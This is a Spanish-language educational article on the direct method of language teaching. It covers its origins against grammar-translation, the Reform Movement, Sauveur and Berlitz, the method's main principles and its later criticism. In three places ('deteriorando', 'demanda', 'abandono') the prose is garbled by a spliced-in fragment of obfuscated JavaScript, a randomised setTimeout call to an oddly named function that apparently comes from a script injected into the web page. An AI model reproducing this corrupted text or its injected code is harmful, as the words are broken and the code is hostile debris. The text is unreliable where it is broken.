LAS INNOVACIONES DEL MÉTODO DIRECTO EN LA ENSEÑANZA DE LENGUAS

Autora: Salvia Lois Lugilde

El método directo es el primer enfoque en la enseñanza de lenguas que surge como oposición al tradicional método de la gramática-traducción a finales del siglo XIX. Precisamente por el contexto de oposición a la metodología anterior, este enfoque tuvo mucha aceptación en las escuelas de diferentes países y sentó las bases para los posteriores planteamientos sobre el aprendizaje de lenguas extranjeras.

Durante la segunda mitad del siglo XIX, a medida que se iban introduciendo las lenguas modernas en los currículos escolares, el método tradicional de enseñanza de lenguas, esto es, el método de la gramática-traducción se fue deteriorandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando por el surgimiento de la necesidad lógica de una enseñanza y aprendizaje mucho más práctico. Paralelamente, también habían aumentado las posibilidades de comunicación entre los europeos, lo que llevaba consigo una creciente demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda de aprender lenguas extranjeras.

Es en este contexto donde surgen los primeros reformadores (Marcel, Prendergast y Gouin) que, aunque no llegan a tener mucho impacto, influirán en el Movimiento de Reforma. De hecho, a finales de ese siglo, algunos lingüistas europeos, entre los que se puede destacar a Wilhelm Vietor en Alemania, Henry Sweet en Inglaterra y Paul Passy en Francia revitalizaron el campo de la lingüística en general y, consecuentemente, también el de la enseñanza de lenguas; es dentro de este Movimiento de Reforma donde se establece la disciplina de la Fonética que permitió abrir nuevos enfoques en el estudio de los procesos del habla, considerada esta última como la forma primaria de la lengua.

Así, al mismo tiempo que estas ideas reformadoras penetraban en el campo de la lingüística, comienza a surgir un interés por desenvolver un método de aprendizaje de segundas lenguas de corte naturalista, es decir, una metodología basada en supuestos parecidos a los de la adquisición de la lengua materna (observación directa de cómo aprenden a hablar los niños).  Estas propuestas, que se insertan dentro de los llamados métodos naturales, desembocaron en el éxito y desarrollo de un determinado tipo de enfoque naturalista, el Método Directo. Uno de sus mayores representantes fue Sauveur, quien usaba en sus clases una interacción oral intensiva en la lengua meta, sin usar ni recurrir a la lengua materna del alumnado; consecuentemente, al asumir que el significado se transmite directamente a través de la acción y la demostración (mímica, dibujos, otras palabras conocidas de la lengua extranjera…) se da por hecho que el aprendiz debe y puede inferir las reglas gramaticales. Esta metodología no solo fue difundida por Europa, siendo aprobada oficialmente en países como Francia y Alemania a principios del siglo XX, sino que también se extendió por Estados Unidos a través de las escuelas fundadas por el propio Sauveur y Berlitz; este último teórico es con el que más asociado ha quedado el método directo, a pesar de que el no usase nunca ese término, sino el de método Berlitz. Particularmente, esta enseñanza tuvo mucho éxito en este país debido a la urgente necesidad de los emigrantes de aprender y comunicarse en la lengua del territorio al que llegaban, en este caso, el inglés. De hecho, Berliz llegó a tener más de doscientas escuelas repartidas por Estados Unidos y Europa donde se impartían las principales lenguas modernas. El manual empleado en estos centros contenía un prólogo desarrollado por este autor en el que se sintetizaban las principales características de este método:

  • Todas las sesiones en la escuela se impartían en la lengua meta y cualquier nuevo elemento que apareciese se introducía oralmente.
  • Consecuentemente, se le daba especial énfasis a la lengua oral, siendo la conversación uno de los elementos centrales. Las destrezas orales se trabajaban en una gradación de complejidad muy estructurada, secuenciada a través de un sistema de preguntas y respuestas entre el alumnado y el profesor. La pronunciación, lógicamente, desempeñaba un papel primordial.
  • Ausencia casi completa de explicaciones gramaticales explícitas (aprendizaje gramatical inductivo) y abandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andono de la traducción como actividad esencial.
  • Enseñanza del vocabulario de tipo concreto a través de la demostración (dibujos, objetos, mímica…) y el de tipo abstracto mediante la asociación de ideas (siempre recurriendo a términos de la lengua meta).
  • El profesorado siempre tenía que ser hablante nativo de la lengua que impartiese para lograr conseguir una inmersión total del alumnado en la lengua objeto.

De esta manera, el método directo tuvo una aceptación y una repercusión enorme, ya que supuso una renovación radical en la concepción de la enseñanza de segundas lenguas en las escuelas. Sin embargo, este enfoque también tuvo importantes críticas que desembocarán en el surgimiento, en los años 20 del siglo XX en enfoques como el audio-oral; así, los principales problemas que se formularon a este método naturalista fueron, por un lado, la ausencia de una base teórica y metodológica fuerte y, por el otro, la obsesión por que el profesorado fuese nativo y por que el alumnado no utilizase nunca su lengua materna.

BIBLIOGRAFÍA

Sánchez Pérez, Aquilino (1997): Los métodos en la enseñanza de idiomas. Evolución histórica y análisis didáctico. Madrid: SGEL.

Richards, J. C. y Rodgers (2003): Enfoques y métodos en la enseñanza de idiomas.  Cambridge: Cambridge University Press.

http://cvc.cervantes.es/ensenanza/biblioteca_ele/diccio_ele/diccionario/metododirecto.htm

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